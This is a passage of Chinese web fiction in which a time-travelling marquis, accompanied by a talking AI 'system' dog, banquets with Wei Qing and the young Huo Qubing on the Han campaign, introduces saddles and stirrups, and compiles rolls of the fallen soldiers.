刘吉循声望去,小兵十四五的年纪,五官英挺昳丽,稚嫩无须,身形倒是劲挺,只比卫青矮了一个头。
穿着士兵形制的披膊铁叶扎甲,却头戴皮弁。
白鹿皮制作的皮弁头冠,卫青戴了一顶,现在这个小兵头上也有一顶。
是这么随处可见的吗?
“小霍将军,你也很有趣。”
刘吉笑意浓厚,夸了回去。
17.刘小葵加油
抽丝剥茧,答案已经很明显。
这个头戴皮弁的小兵,就是未来的冠军侯、大司马骠骑将军霍去病!
在元朔六年,十八岁的霍去病任骠姚校尉正式出道,一举获封冠军侯之前,他还曾两次随舅舅卫青出征匈奴。
算算时间,霍去病出道之战是卫青第五次出击匈奴,今年正是第三次,霍去病也该首次跟随舅舅出征了。
“去病,不可无礼。”卫青温声斥道。
甥舅二人成长环境不同,造就了一个谦退、一个张扬的迥异性格,但相似的身世和血缘牵绊,又让他们感情甚笃。
张扬自信的霍去病眨眼乖顺,向刘吉揖一礼算赔罪。
但又问:“君侯怎么认识去病?”
还戏称他小、霍将军。——他当然有志成为像舅舅那样的将军,不过眼下他还只充作舅舅的一名亲兵。
“为兄略通相面之术,观去病来日必将功冠三军,成为闻名青史的大汉名将!你信也不信?”
刘吉注视着面容尚且稚嫩的霍去病,朗笑道。
一时间,北风裹着历史的预言,席卷过草原。
卫青看刘吉,就像在看哄骗稚童的怪大叔。
但论辈分,君侯与去病确是同辈,只有长幼之别,并非叔侄。
“君侯对去病的期许,太过了。”
霍去病本人却很是骄傲自信,“舅舅焉知君侯不是实话实说?”
冠军侯就该这样张扬自信。
就像中二少年们,都张扬着他们要改变世界、登顶世界之巅的自信,只不过大多数是幻想,而霍去病真正做到了。
“甚是!”刘吉一本正经点头,“为兄就是实话实说。”
若不是卫青温文稳重,令人心生敬意不敢轻易玩笑,他还能给卫青也相一相面呢。
包准的!
卫青笑笑不语,侧身礼让:“君侯一路辛劳,请前往大帐稍作安顿,再让卫青为君侯设宴接风。”
当下显然是把刘吉的话当成哄小孩儿的了。
刘吉也是为活跃气氛,并不一定要人相信。
从善如流接受安排:“卫将军请。”
却没真让卫青在后跟随,而是亲热地握住卫青一只手,把臂并肩同行。
抛开个人崇拜因素不谈,只说卫青是猪猪帝的妹夫,就长了他一个辈分。
虽说卫青如今还未封侯,只有关内侯的爵位,低刘吉这个板上钉钉的列侯一等,但他此行可还有一个身份:天子犒军使者。
让一军主将居次,跟随在使者身后?
不利于团结啊。
“卫将军与陛下同辈,我便也是卫将军晚辈,卫将军不必太拘礼。”
论起来,他也喊卫青一声:舅舅!
同行一段,走到了停着专门接人的马车前,二人又上车同乘。
在这战场前线,迎接天子使者的马车,也是头顶篷盖、四周竖栏板的,站立乘坐的战车样式。
刘吉和卫青站立在‘敞壁’马车上,手抓栏板稳定身体,迎面吹着呼呼的北风。
系统狗狼灰奔跑在车尾跟随。
后面是载着黄金的马车,五百郎官护卫跟随,卫青的亲兵四周警戒。
“君侯宽和,卫青听从君侯美意。”
卫青嘴上答应着,一言一行仍旧恭敬守礼。
【这就是卫青啊!】
刘吉任由北风鼓起袍袖,吹散出两缕鬓发,极目远眺苍茫天地,只觉胸臆都开阔了。
……
刘吉奉命犒军一事,在当日议定后就有公文信件送来北疆,加上提前派随行郎官送了信,军中并非毫无准备。
卫青亲自把刘吉带至下榻的营帐。
颜枢和陶盘等人也都安排在附近几处营帐内,排班轮值诸事也都听凭他们的旧例。
一应安排,无不周到妥帖。
辅兵杂役很快提来热水,卫青告辞:“君侯先请洗浴更衣,卫青先行退避,前去查看宴席是否备好,等君侯此间完毕再来请赴宴。”
“有劳卫将军。将军且去忙,等我洗完随便叫一个兵士带路赴宴就行。”
卫青告辞出去了,刘吉在兵士的指引下,脱衣进入木桶洗浴。
“舒服~”刘吉舒服得喟叹一声,美滋滋地泡起澡来。
吹了一路风,整整五天都只擦脸洗手洗脚没有正经洗澡了啊。
这会儿泡上一个热腾腾的热水澡,赛似神仙!
【如果有点钱,还有点权,哪怕是在西汉公元前,也能过上还可以的咸鱼躺平生活了。】
他这种人,日常喊着咸鱼躺平,但现实是躺又躺不平、起又起不来,为了生存仰卧起坐。
还是得像正在做的这样:搞钱——人在古代,还得搞点权。
现在的奔波劳碌,都是为了有朝一日的退休躺平啊,刘小葵加油!
趴在澡桶旁空地的系统狗,摇头抖毛,清理身上的沙粒。它的皮毛含有自洁技术,它不用洗澡。
【吃苦涩粗盐也还可以的吗?】
【……】刘吉被噎住,【我记住了。】
【?】系统没理会人类同事没头没脑的话,继续整理皮毛。
刘吉:要不是才骗了一个土豆的稀有奖励,他高低得立马想招把提炼精盐的法子弄到手。
加过一次热水,泡了一刻半钟,出浴时正好陶盘和颜枢洗过收拾好了前来。
“你们也累了一路,稍坐片刻,等我换上衣裳就一起出去赴宴。”
二陶也就罢了,颜枢又不是他的贴身仆人,没有叫人服侍他穿衣吃饭的道理。
刘吉也拒绝了陶盘的代劳,总不好让他在颜枢面前太丢份儿。
于是自己穿衣,只让陶盘一旁帮忙扯扯整齐。
“卫将军果如传言,仁厚和善、谦和有礼,我等不必为今晚的宴请担忧了。”
颜枢以闲聊姿态,为刘吉献策兼指点。
刘吉原也不担忧,只是有点紧张——去赴大名鼎鼎卫青的宴请,怎能没半点激动?
“卫将军是一个极有分寸的温和长者,确实无须局促担心。”
刘吉又擦干头发,一把束挽在头顶,弃冠不戴,戴了有帽顶的巾帻。
陶盘由衷夸赞:“郎君这一身穿戴,更显得不羁洒脱了。”
颜枢深以为然。
广袖曲裾深衣,配以岸帻,尤为风雅洒脱。
赴宴着装,有严肃正装,亦有不羁便装,各有各的好处,端看主人考量而已。
赴今晚的设宴,着便装倒是更显亲和。
“走吧。”
收拾完毕,刘吉当先出帐。
……
在一个士兵的引路下,刘吉三人和此行统御众郎官的郎将赵赳,自行前往设宴大帐。
刘吉的营帐和卫青的大帐相隔不太远,走了几百步就到了。
卫青带着已经到达的参宴将领,披甲戴盔,迎出帐外:“卫青有失远迎,君侯快请。”
刘吉回礼:“我等不请自来,失礼了。”
双方随行者也互相见礼不提,之后在卫青带领下进入帐中。<
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p>帐中陈设简单,以至于可称空荡简陋,但这很符合卫青的风格。
如果是长于锦绣堆的霍去病的大帐,即便行军在外,大概也会舒适许多吧。
“君侯请上座。”卫青礼让道。
刘吉辞让:“卫将军上座,某就坐这里好了!”
怕拉扯起来,一个跨步就在左下首的席位落了座。
同理当时卫青引路,现在是在军中,他若居首而卫青居次,不利于团结!
“……”卫青抬起的双手已然空空。
思绪转几转,到底往上首落了座。
又抬手示意左右席位:“诸位也快请入座。”
朗将赵赳跟着刘吉顺位落座,颜枢和陶盘则移来一张席,铺在刘吉身后的侧下方落座。
他们二人是为随从,却尚无官职,只充作服侍的侍从,按理不能在帐中列位、占一席之地。
出席赴宴的军中将领们,也互相礼让着依次落座。
霍去病充作亲兵,立在卫青座侧。
开宴前,卫青作为军中主将、设宴主人,作出讲话:“今赖陛下仁爱……”
后面跟上一串的歌功颂德,并说明了赐黄金一千斤以犒军之事。
“又有君侯体恤厚爱……”
还是一样的流程,先赞美刘吉品德,再说清他赠九成金帛与遗属一事。
并代诸将表示,都会配合他整理出抚恤籍册。
“陛下仁爱!”
“君侯慷慨!”……
宴上将领们一时是纷纷喝彩。
刘吉看将领们虽然是实打实的兴奋,神色却不见意外,就知道他们想来是早就听说了。
讲完话,卫青宣布开宴。
对帐门方向一招手,就有辅兵杂役鱼贯而入,依主次尊卑席位呈上菜肴,放于每位宴客席上的矮足食案上。
等待酒肉菜肴上齐的间隙,卫青额外同刘吉致歉:“卫青帐下校尉及诸将,今未能尽数前来,校尉张次公正另率一路大军,追击楼烦王和白羊王二部溃军,不能为君侯接风。”
“还请君侯见谅!”
天子使者到达,按理应该全军相迎。
不过陛下信件中也有话交代,令他以军情战况为先。
“多虑了多虑了!”刘吉连连摆手!
“战场瞬息万变,战机稍纵即逝,诸位将军都该以作战为先!”
“若是因刘吉烦扰之故,叫大军延误了战机,损兵折将,那刘吉万死也难辞其咎啊!”
刘吉这话真不是客气客气,是实打实的真心话!
假设一下,要是卫青封侯的河南之战——收复河南地及南至陇西全境,收复秦九原郡改名五原郡,恢复秦时黄河北岸以北的阳山-阴山为自然天堑的防线,拒匈奴于阴山以北的关键之战——因为他刘吉此行而延误了战机,被蝴蝶翅膀扇没了!
他刘吉就是大汉罪人,进一步说不定还是历史罪人。
就是他自刎当场,都不能谢罪!
刘吉说得实在是恳切——那可太恳切了!
“君侯顾全大局,宅心仁厚,卫青在此谢过。”卫青见他是真的不介意,也放心下来,遥揖一礼。
前信之中,陛下在说犒军诸事之时,关于事情的起因——刘吉献宝,自然也提过几句。
去病也看了帛书信件,因此才有初见时的那句‘你这人……’。
此战大汉若是成功收服河南地,来日此地复耕,多半也是要种上马铃薯的。
君侯也确如陛下所言,眉眼上与陛下有六七分相像。
18.大将军好人
很快酒肉菜肴上齐了。
食案上摆满烤肉、炖肉,放眼望去全是肉。
望肉生腻,刘吉已经没胃口了。
但对于拿命拼杀的将士们而言,战场上高强度的肉.体和精神消耗,最需要补充高热量高脂肪的肉食,这才是绝顶美味。
卫青先请刘吉:“君侯请。”
“卫将军请。”
礼让一个回合,但想到卫青的谦退性格,刘吉直接招呼起来:“一起一起!”
于是两人同时起箸,宣布正式开始吃席!
今晚的宴请不是寻常居家自处时用餐,讲究一个食不言的规矩。
而是一场应酬,带着满满的社交属性。
开席后交谈言笑,很快热闹起来。
行军作战期间不宜饮酒,但今晚不同,是设宴接待天子犒军使者。
而且他们日前奋战五日夜,刚击溃匈奴楼烦和白羊二部,取得不菲战果,战机亦不紧急,还有后手安排,也该好好庆祝!
“霍去病敬君侯!”
宴开之后,吃吃喝喝,气氛大好。
充作亲兵的霍去病,也在舅舅卫青侧下后方铺了席位,坐下同食。
小冠军侯、小骠骑将军、少年霍去病的敬酒,谁能拒绝呢?
披着‘柔弱’人设的刘吉也不能。
端起陶盘为他满上的酒爵,遥举碰杯:“喝!”
仰头一饮而尽!
噫惹!
这就不叫酒!
醪糟水还甜甜的有点酒味呢,这却是又酸又馊像在喝泔水一样。
怀疑有人席上醉倒,都不是喝醉了,是酒没发酵好,食物中毒了!
至于你说酿酒,蒸馏酒?
刘吉:哦,不会。
气氛活络起来,刘吉也一边举杯一边闲谈。
“张校尉可是沿贺兰山绕行西南,提前到陇西拦截,以图彻底击溃敌军?”
军史研究方面,有关卫青的河南之战的权威研究文献很少,且大都是根据史记、汉书的寥寥几句相关记载,进行的中译中。
而更多的,还是自媒体、营销号的臆测和洗稿文章,并无可靠论据。
刘吉也不知道对不对,在迂回包抄击溃楼烦、白羊二部后,似乎打到后期时,战场是从河南地转到了陇西的?
刘吉的话唯一说对的,就只有一个方向——确实是往南方去了。
但卫青真是体面人,没当着众人的面指出刘吉的错误,反而帮忙周全。
“君侯猜测不错。张校尉率军南下,正是一为追击二部溃军,以防二部战力尚存,自祁连山南西出逃脱,会师匈奴右贤王部,增添后患。”
“二则,为顺道肃清河南地以南至陇西沿途,依附匈奴的散乱诸部,完全收复河南地及以南之地。”
匈奴对大汉的侵扰,西方——河西与陇西一带,有右贤王部;东方——渔阳至雁门一带,有左贤王部;二者居中的河南地,便是楼烦王与白羊王二部。
君臣单于庭,则坐镇后方。
但刘吉有自知之明:“多谢卫将军指点解惑。那卫将军本部,何时北上?”
不过,衍生世界的历史还是一样吗?
他的犒军之行是否造成蝴蝶效应,以致影响了行军策略?
刘吉不敢断定,就像之前所说,他怕造成不好的影响,那他真是万死难辞其咎。
卫青耐心回答:“卫青日前接到陛下旨令,又有君侯传信,打算在此迎接君侯之后,不日便将率领校尉苏建等将士,渡河北上,出击蒲泥、符离与梓领①匈奴诸部。”
“不愧是卫将军!”刘吉一颗心放回肚子里。
不知道主线历史上,卫青是否分兵了两路,但校尉张次公和校尉苏建都是在此次战役中,被分别封侯平陵侯、岸头侯,想来也是有几分将才的。
而且楼烦王和白羊王二部主力已被击溃,余者都是抱头鼠窜的溃军、望风而降的散部,后续不过是打扫战场而已。
有大将军卫青当前,他只要谨记,别像后世朝代监军的太监或文人那样,以外行知道内行拖后腿,就不可能打输这一场稳赢之战!
放心之后,刘吉不由得难抑澎湃激动,情不自禁地就开始库库夸人!
“此前匈奴二部虎踞河南地,与长安所在的内史之间,仅有上郡和北地郡二郡为屏障,且还时常侵扰二郡,可谓是虎视关中、剑指长安。”
匈奴都站在黄土高原之上,望着渭河谷地的关中长安了,几乎陈兵家门口了都!这要还不狠狠地打跑,就等着上演下一个白登之耻吧。
大汉前期的对匈作战,实打实是反侵略的自卫战。
“尤其是还与右贤王、左贤王还形成了统一战线,互相策应、支援,还有单于庭坐控后方。大汉一旦出击,便至少要对上两方王部之力。”
此时的匈奴首领是君臣单于,正是大名鼎鼎的冒顿单于的继任者,匈奴国力尚处于强盛时期。
所以无怪先前大汉对匈战果平平,匈奴也是真难打啊!
“此次大汉出兵两路,渔阳至雁门的北疆燕、代一带以北的左贤王部,被迷惑牵制,此时楼烦王和白羊王二部被击溃,可谓是一举截断了匈奴战线链条的中间关键点!”
“如此一来,之后便可修缮秦长城与关塞,将名山天险的防线重启,构建阳山-阴山防线,以自然天堑作防护,令匈奴望之生畏、空怀伤感,再不能随意入境劫掠!”
河南之战的战略意义就在于此,系统闹着要签到该历史事件,也在于此。
大将军卫青死后的墓被修成了阴山形状,便是铭记此大功。
“卫将军与诸位将军,居功甚伟!”
刘吉举杯:“某敬诸位!”
豪气云天,一饮而尽!
把酸馊的酒液,喝出了二锅头的火辣!
霍去病神情傲然。
卫青情绪内敛,却也目光湛然,自信内藏。
帐中参宴将领都是卫青拥趸,早已为其风采本领折服,此时听刘吉有理有据的一番夸赞,也都豪情万丈。
纷纷举杯:“敬君侯!”“哈哈哈喝!”……
刘吉一番话里虽有些生僻词句,但在场将领皆置身战局之中,稍作联想也就都理解了。
未必一字一句都精辟无误,但相比长安那些公卿对匈奴一问三不知——只知道什么好战必亡、清静无为,可明白太多了!
随侍身后的陶盘和颜枢二人,看着自家郎君席间高谈阔论,绽放风采,心中则更加信服。
随后,刘吉又说起诸将受的委屈:“朝中公卿们,只见到了抗击匈奴的资财、粮草和劳役之费,却没见到可观的战果,尚未积累出自信,又因所谓的为大局着想,难免对于抗击匈奴一事颇有微辞。”
“不过,那是皇叔之前没用对人。”刘吉搬出太史公的结论。
“但现在有了卫将军和诸将,未来再添一位小霍将军,匈奴就不足为患了。”
“来日击破匈奴单于庭,也未尝不可!”对于抗击匈奴,刘吉信心满满!
霍去病傲然举杯:“君侯说话,就是好听!”
卫青则连连谦虚:“君侯过誉了!”
“卫青不敢好高骛远,今得有微末寸功,全有赖于陛下托付信任,又指挥神灵,功在陛下也。”
陛下信中字句之间,对君侯多有喜爱之意。
眼下看来,这份喜爱果真是情理之中。
一个称谓
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的转变,一声‘皇叔’,就遮掩了以臣谤君的些许冒犯,显出几分后辈的亲昵。
他本人可能只是不经意出口,但正是这份本能天赋,才显出君侯乃是一块圆拙可爱的璞玉。
【恭喜成功签到[历史名人:大将军卫青]!】
【恭喜您获得1000月石!】
“咳咳咳!”刘吉被酸馊的酒液呛到了鼻腔里!
这么快就签到成功了?
他都还没开展犒军和整理遗属籍册工作,做出实事呢,这就一举得到认可了?
大将军果然是大好人!
……
宴上正酣。
吃着喝着便有人蹭到旁人的席上去,推杯换盏,把臂话豪情。
说笑之间,还有人到处串席,吃别人席上食案上的肉。
气氛酣热时,席位座次,尊卑长幼,都无关紧要了,再不能束缚天性和欢快。
颜枢已经根据自我定位,去与将领们结识喝酒去了,郎将赵赳也跟着打成了一片。
陶盘倒是还跟在刘吉身旁,帮着布菜斟酒,招呼围上来敬酒的诸多将领。
刘吉席侧,苏建举着黄铜酒爵:“……匈奴年年南下劫掠,次次贼不走空,所过之处寸草不生啊!”
后事不论,作为在匈奴牧羊十九年亦持节不屈的苏武之父,苏建亦是怜弱爱国、心怀气节之辈。
“女人、青壮,官吏、庶民,粮食、牲畜、钱财……但凡看上眼的,都要掠了去。”
“若遇汉人反抗,或仅因他们心情不悦,就满大街追赶杀人,放火烧毁民居!三五年间长不成器的婴儿,就摔了杀了,或架锅生火……”
刘吉脑海里闪过他们来时,道旁偶有散落的干净白骨,混杂着细短的嫩骨。
‘咚’的一声,放下手中的羊腿骨,也不再看食案上的炖肉、烤肉。
相比殿上公卿们,刘吉确实更知晓侵略来临时,异族的残忍、百姓的悲惨。
“是啊,侵犯战报上寥寥几句:杀掠吏民千余人。难道就真的只有千余人丢了性命、或被掠去了草原为奴吗?”
匈奴的劫掠,难道是客气精准地,如战报所写:杀太守就只杀太守,杀掠千余人就只点够数就罢手了,再不多拿一根针,秋毫不犯?
痴心妄想!必然是侵略期间进城杀人放火,损失不计其数。
就像后世国外某地洪涝灾害,造成的人员伤亡若达百人,那流离失所的人员便有数十百万人,经济损失更是数以亿计。
损失不只是在结果上,更在形成结果的过程之中。
刘吉端起酒爵,与身旁借着酒意掩饰眼红的苏建,‘叮当’一声碰杯。
“诸位将军今日之功,青史定会铭记。”
“北地的百姓,也会感谢将军们为他们报仇雪恨的恩情。”
对匈奴的劫掠轻飘飘揭过的人,不过是刀没有砍在他们身上,流的不是他们身上的血,践踏的不是他们的一身肉。
有史料记载,为佐证对匈之战的耗费,说是北地百姓因朝廷连年抗击匈奴,颇多烦扰,引起民愤不满,生出动乱。
刘吉现在亲历亲见过之后,不评价史料真假,但只感悲戚。
左右这个世道不让人活,被外族侵略屠杀,或被反击战争拖累死,它都要人死。
“好酒!”苏建高举酒爵,遮住潮湿的红眼,仰脖一饮而尽。
尔后撑住刘吉的食案,借力起身,摇摇摆摆地离开了。
这样酸馊的淡酒,果真把苏建灌醉了吗?
【他大概是想醉过去的。】与护卫兵士们一起蹲守在帐门的系统狗,尝试理解人类的情感。
刘吉:【此战大局已定,醉上一场也无可厚非。】
19.想母亲了
宴罢人散时,天光已黑尽。
卫青亲自送刘吉出帐。
别过的时候,刘吉拉着卫青的手:“卫将军,我知晓将军善待士卒,我亦然。”
卫青搀扶住刘吉的手臂,为其借力。
“卫青深知君侯仁爱士卒。”
愿意把皇帝赏赐金帛的九成,慷慨赠与阵亡将士遗属之人,不管论迹或论心,都可谓仁爱士卒。
刘吉再次叮嘱:“所以,之后一切以战事为要,万莫太过客气讲究。”
“关于整理此役阵亡将士抚恤籍册一事,我会在诸将空闲时,分别去寻求他们配合。让他们不必在忙时,丢下军机要务也要来找我。”
“卫将军,接下来渡河北上的行军路上,也不必额外理会、护卫我。我有赵郎将率郎官们护卫,安全无虞,将军们照常行军作战,我等可自行跟随。”
五百郎官,外加一条系统狗,若这都不能安全跟随不掉队,他也别继续‘旅游’了!
还不如直接死到系统的时空穿梭舱内挂机,等充能完毕后直接滚出这个世界!
“君侯体贴之决心,卫青已经深知,自当依愿而行。”
卫青已经知道刘吉不愿烦扰的真心实意,也本就决定以战事为先,顶多在此前提下再多加礼遇。
要不说是卫青呢?即便对方再如何真心实意,他也不忘谦和礼让三分。
刘吉醉眼蒙眬,拍拍卫青胳膊:“我是万万不愿,因一趟犒军之行,而烦扰将士,以致贻误战机、拖累将士的。”
侍立一旁的霍去病就没他舅舅的耐心,不耐烦安抚醉鬼:“君侯尽管放心!陛下犒军,君侯馈赠将士遗属,都只会鼓舞士气,让将士们更加英勇杀敌,何来拖累?”
“而且我舅舅用兵,如臂指使,也并不会因为君侯而坐失战机。”
话虽然暴躁霸道,但字句间也在安抚啊。
“那就好,谢谢小霍将军。”
刘吉的心彻底落实了,伸手示意,陶盘立刻上前接过搀扶工作。
又向卫青揖礼道别:“卫将军止步,我这就回营帐去了。”
刘吉被搀扶离去,卫青原地目送。
待走远了,霍去病忍不住嘀咕:“一个仁爱过度的宗室。我姨母可是皇后,舅舅岂会害怕他,并将他高高奉起来?他真是多余担心!”
“去病!”卫青难得疾言厉色呵斥教训。
“先不说君侯慷慨馈赠阵亡将士遗属,我等就该念他一份情。”
“便是君侯不愿烦扰三军的用心,就可见他的仁爱心肠,你就不该出言不逊!”
霍去病听训:“谨听舅舅教诲。”
但可别指望他驯服,“我明白舅舅所说,这不我也没他当面说出口吗?”
“……”卫青哑然,他也知道自家外甥品性,没再揪住不放。
只是劝教道:“似这般仁爱的君侯,总强过无情之徒。”
“自你记事以来,就长在锦绣膏粱之中,不曾受过民生艰苦,不能体察士卒之难,这便是你的缺陷。”
“若要长久地为帅,你也当学一学仁爱怜悯之心,善待麾下士卒。”
卫青并不知道,霍去病在史书之上被诟病的,便是他贵宠惯了,不大关心士卒。
“唯,谨听舅舅教诲。”霍去病答唯受教。
卫青看外甥的神态,倒像是听进教诲了。
到底听进去多少,又是否记牢并践行,眼下一时也不知道。
唉。
卫青心下叹气。
外甥难教,有将兵天赋的小将更难教。
……
穿行数层以拱卫之势分布的众郎官的集体营帐,刘吉被搀扶到他下榻的营帐前。
本该醉意催眠的刘吉,却没有入帐睡觉。
仰望墨青色的夜空,明月升在半空,星子稀疏。
北风穿过营帐空隙,呼呼地拍着脸。
刘吉立在帐前,系统狗狼灰伴在腿边。
【你不是醉了吗?你们人类就是喜欢撒谎。】
系统都学会翻旧账了,可见对人类同事下套骗它开后门、开出稀有奖励马铃薯的事儿,记忆深刻,怨念不小!
【你难道没听说过?男人三分醉,演到你流泪。】
刘吉不以为耻,坦坦荡荡。
【你已经成长为男人了吗?】
狼灰的尾巴啪的一声,扫中刘吉的腿肚子。
“嘶!”刘吉痛得吸气。
他这会儿不仅被系统狗一刀插得心痛了,还肉痛!
【不知道你自己的尾巴是名符其实的钢鞭啊?肯定红肿了,明早起来就得青紫了。】
【这种情况,要赔一个稀有奖励才能好!】有瓷没瓷,先碰一个!
【现在是夜晚,等明天白天你睡着了再托梦给我。】
系统也是学到了,连白日做梦的梗都会。
脑内斗了几句嘴,刘吉又站在风中远眺夜空。
半晌,陶盘出言劝道。
“夜深风寒,郎君好不容易久病大愈,更要爱惜己身才好,快进帐歇息去吧?”
刘吉心绪纷乱不知道在想什么,也或许什么都没想。
“好,我吹吹风,散散酒意。”
应着好,又说吹吹风,脚下是一动不动。
主打一个已读乱回,心不在焉。
颜枢则是先道:“臣在宴上同诸将也都交谈过几句,大多还算友好诚挚,卫将军又仁厚,想来请他们协助整理出籍册此事不难。”
“嗯,不难。”刘吉附和。
见状,颜枢又道:“郎君献上亩产百石的马铃薯,待三五年开始在郡国推种开来,救济灾荒,届时将士遗属及至百姓万民再无饿殍,年岁也就好起来了。”
“是啊,终有一日会好过起来的。”刘吉又附和。
颜枢:“……”一时也找不到症结去开导了。
“举头望明月,低头思故乡……”
刘吉对月低喃诗仙的静夜思。
就在二人以为他身在草原,思念故乡莒城,并准备对症开导一二时。
夜色里飘来五个字:“我想母亲了。”
想好多人了。
“……”
颜枢(使眼色):先城阳王故去多年,在世的夫人似乎寥寥?
陶盘(颔首):对,而且夫人在郎君幼时就仙逝了。
二人面面相觑,打算遣词造句安慰两句时,刘吉已经转身走进营帐。
“你们也回去睡吧。”
陶盘和颜枢站在原地,对视一眼,最终选择听从吩咐,转身回去洗洗睡。
【你为什么伤感?】系统不解。
就像人类颜枢安慰的那样,人类同事挂心的事情都不成问题,或者终会被解决。
【那就是想妈妈了。】系统得出答案。
【你这么大个人了,出来旅游一趟都还想妈妈啊?又不是不回去了。】
按照合同约定,旅游结束后它就会护送人类同事回到原世界的三秒之前。
——躲开劈死他的那道雷足矣。<
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p>刘吉一嘴撅回去:【你们AI,别管我们人类的事儿。】
系统愤怒:【你就是吕洞宾!】
刘吉笑眯眯:【我不一定是吕洞宾,但你一定是狗。】
系统狗:“汪汪汪!”
【你在骂我!】
【陈述事实而已,怎么是骂人呢?】
直到简单洗漱完毕,躺下闭眼睡着之前,这场幼稚的斗嘴才停下。
至于对局胜负,趴在被褥上头枕人类同事腹部的狼灰,表示它并未认输。
……
第二天醒来。
刘吉刚用完朝食,卫青就前来告知:
“为防右贤王部或匈奴诸部察觉后,自高阙等关塞南下驰援,宜当早日北上渡河,出击蒲泥、符离和梓领诸部①,收复阴山以南及故地九原郡。”
“大军吃过朝食后便拔营北上。待到故地尽数收复,修复了长城要塞,防线驻守诸事既毕,再行犒军庆贺,君侯以为如何?”
“一切都听卫将军的!”刘吉自然是毫无异议,再次重申他绝不添乱的决心。
于是,刘吉和郎将赵赳吩咐下去,快快收拾行李,准备随军北去。
霍去病领兵,以千里奔袭的高机动性闻名,但其实卫青也不遑多让,或者说以骑兵为主的军队大都如此。
拔营的命令是朝食后传下去的,大军是日中时分出发的。
刘吉的驷马安车依旧赶着,主人却没有安坐在马车上。
真的赶起路来,马车行驶在草包坑洼遍地的草原上——这可不是小区里日常养护修剪的平整草坪,就算车体不散架,坐在里面的人也得被颠散架。
刘吉选择领着护卫犬狼灰,与郎官和将士们一样骑马跟随。
于是,众人再次见识到了这样一幕——
脸色雪白、病弱易摧的君侯,虽然蹙眉咬牙,但坚韧不倒,紧紧跟随不曾掉队。
就连养的一只犬,也能奔驰在万马之中,分毫不落下风。
霍去病极为欣赏系统狗狼灰,“君侯养的这头猛犬,不似寻常看家犬,有犬中项羽之姿!”
项羽以神勇闻名,犬中项羽,很高的夸奖了。
刘吉:拿项羽比狗……哦,楚汉争霸素有旧怨啊,那没问题了。
唯有一个问题:有据可查的高桥马鞍和双边马镫出现的时期,大约在东汉末与北魏时期。
反正眼下军中骑兵的马匹,是没有马鞍马镫的。
配备的马具有辔头、有缰绳,许多马背上也铺一张皮毛等物制成的鞍垫——用三条绳子分别系在马腹、马胸和马臀来固定住。
卫青自然不会缺了刘吉的军需装备,扎甲、铁胄穿戴整齐,马背上铺的鞍垫更是外为皮毛内填丝絮的高档货。
鞍垫确实减轻了他的股臀与马的直接摩擦,但脚上没有踩踏借力的马镫,他仍需夹紧马腹费力保持平衡,也没有合适固定臀部的高桥马鞍,急停或急进时容易滑下马来,极易疲累!
而且草原行军,可比之前赶路长安时,更加颠簸劳累不少!
‘发明’高桥马鞍、双边马镫?
他就是一个偏科‘历史生’,他不会啊!
等、等等……
马鞍和马镫,不是课本上理工类的神奇反应和力学分析。
主要是他少年时期也被鸡过特长,在俱乐部学的不就是带马鞍马镫的马吗?!
回忆回忆,或许细节有差别,但东西大差不差吧,他琢磨琢磨应该能成!
嗐,因为梦想躺摆,都成惯性了。
20.入v公告(明天入v)
在卫青一边行军清扫匈奴散部、残兵时,刘吉就尾随在大军中后尾部,将绝不添乱贯彻到底。
顺便在扎营歇整时抽出空来,指挥陶盘和颜枢及几个郎官做帮手,手搓出了一套马鞍马镫。
并且调整了两次后,成功装备上马了。
他的腰他的屁股他的腿啊,从此得到了拯救!
当然骑马还是累,只是前后有了对比,他还是幸福了!
“这两样马具,真乃骑兵利器!”
霍去病发现刘吉新添的马具,一眼就瞧出不凡,跑马试骑了几里地,又在马上弯弓、耍枪,彻底惊为天人!
卫青得知之后,也前来查看并试骑,一样认同高桥马鞍和双边马镫对于骑兵的增益巨大。
“然若为全军骑兵配备马鞍马镫,非一日之功可成,且耗费甚巨。”
就算马鞍可木制,包裹和填充的辅件等也需皮、布、麻等,耗费不少。
何况马镫须得是铁制,竹木虽也可以煣制成环形,但到底承力不足难堪久用。
从伐木、制皮、绩麻、冶铁,到工匠打磨、铸造成形,最后装配到马匹,可不是一朝一夕之功。
而眼下大汉几世积蓄,已经快要耗尽了……
霍去病却是不怕,“一日不可成,此战用不上,那就把图纸送回长安,让陛下下令慢慢造去,等到下次出征再用!”
颜枢自然地插话进来:“霍郎君言之有理,至于卫将军所言耗费甚巨,也不必担忧。”
跟着娓娓道来:“子曰:工欲善其事,必先利其器。”
“骑兵马匹若装备马鞍、马镫,耗费虽巨,对战局助力却也更巨大。若能助力战役速战速胜,多方计算,较之原来反而可以俭省耗费。”
“尤其对阵之时,能减少大汉将士伤亡。”
颜枢说的道理不算高深,卫青又非短视悭吝之人,如何不懂?
卫青的顾虑,是情理之中的。
用刘吉的理解,就好比房地产市场黄金时期,普通人是不知道、不想投资房产获取暴利吗?
不,大多数人是知道的、想赚钱的,问题在于有没有一笔首付的钱,或者贷不贷得出、杠杆撬不撬得动那笔钱。
谁不知道马鞍马镫是好东西?问题是有没有钱装备。
刘吉理解卫青的勤俭持家,但他也知道猪猪帝搞钱的本事。
“是否给骑兵加配马鞍马镫,此事由陛下定夺。我等改良了马具,只管献给陛下就是。”
“君侯此言甚是。”谨慎又忠君的卫青,对刘吉的说法深表认同。
于是,之后刘吉让颜枢协助,画出马鞍马镫、又额外附加一张马蹄铁的图示帛书,其上注释步骤和注意事宜。
请卫青代为送往长安。
至于是否冶铁铸造马蹄铁,加配给骑兵马匹,或者何时富裕了再加配?
当然也都听凭猪猪帝的决定。
但依猪猪帝的强势果敢,刘吉认为悬念不大。
好东西一二三,选择其一?
当然是全都要!
……
在指挥手搓马鞍马镫的同时,刘吉也没忘了整理出阵亡将士籍册的正事。
遵照绝不扰军原则,在休战扎营时,小范围挨个分营进行。
不至于一时间劳动全军,耽误行军作战。
汉军中的兵制,从下至上是:五人为伍,两伍为什;五什为队,两队为屯;两屯为曲,两曲成部;
再一般是五部为营。但一营究竟率领多少个部,也并无常制。①
于是从上到下,刘吉先请统领一营将士的校尉协助,而后校尉下令军司马。
军司马下令军侯,再到屯长,到队率,到什长,到伍长。
层层向下,传递了统计阵亡将士籍册的命令后。
再层层向上汇总,最终校尉再递交给刘吉。
虽然此战大胜归朝后,猪猪帝夸耀时曾说卫青‘全甲兵而还’,但是冷兵器战争中,毕竟不能全无伤亡,也不可能保全全军将士性命而还。
那样也就没有刘吉此行了。
所以最终汇总到刘吉手中的阵亡将士籍册,车载斗量——字面意义上的写实。
眼下尚未到东汉蔡伦改进造纸术的时间节点,阵亡将士的籍册皆写于竹简木牍之上。
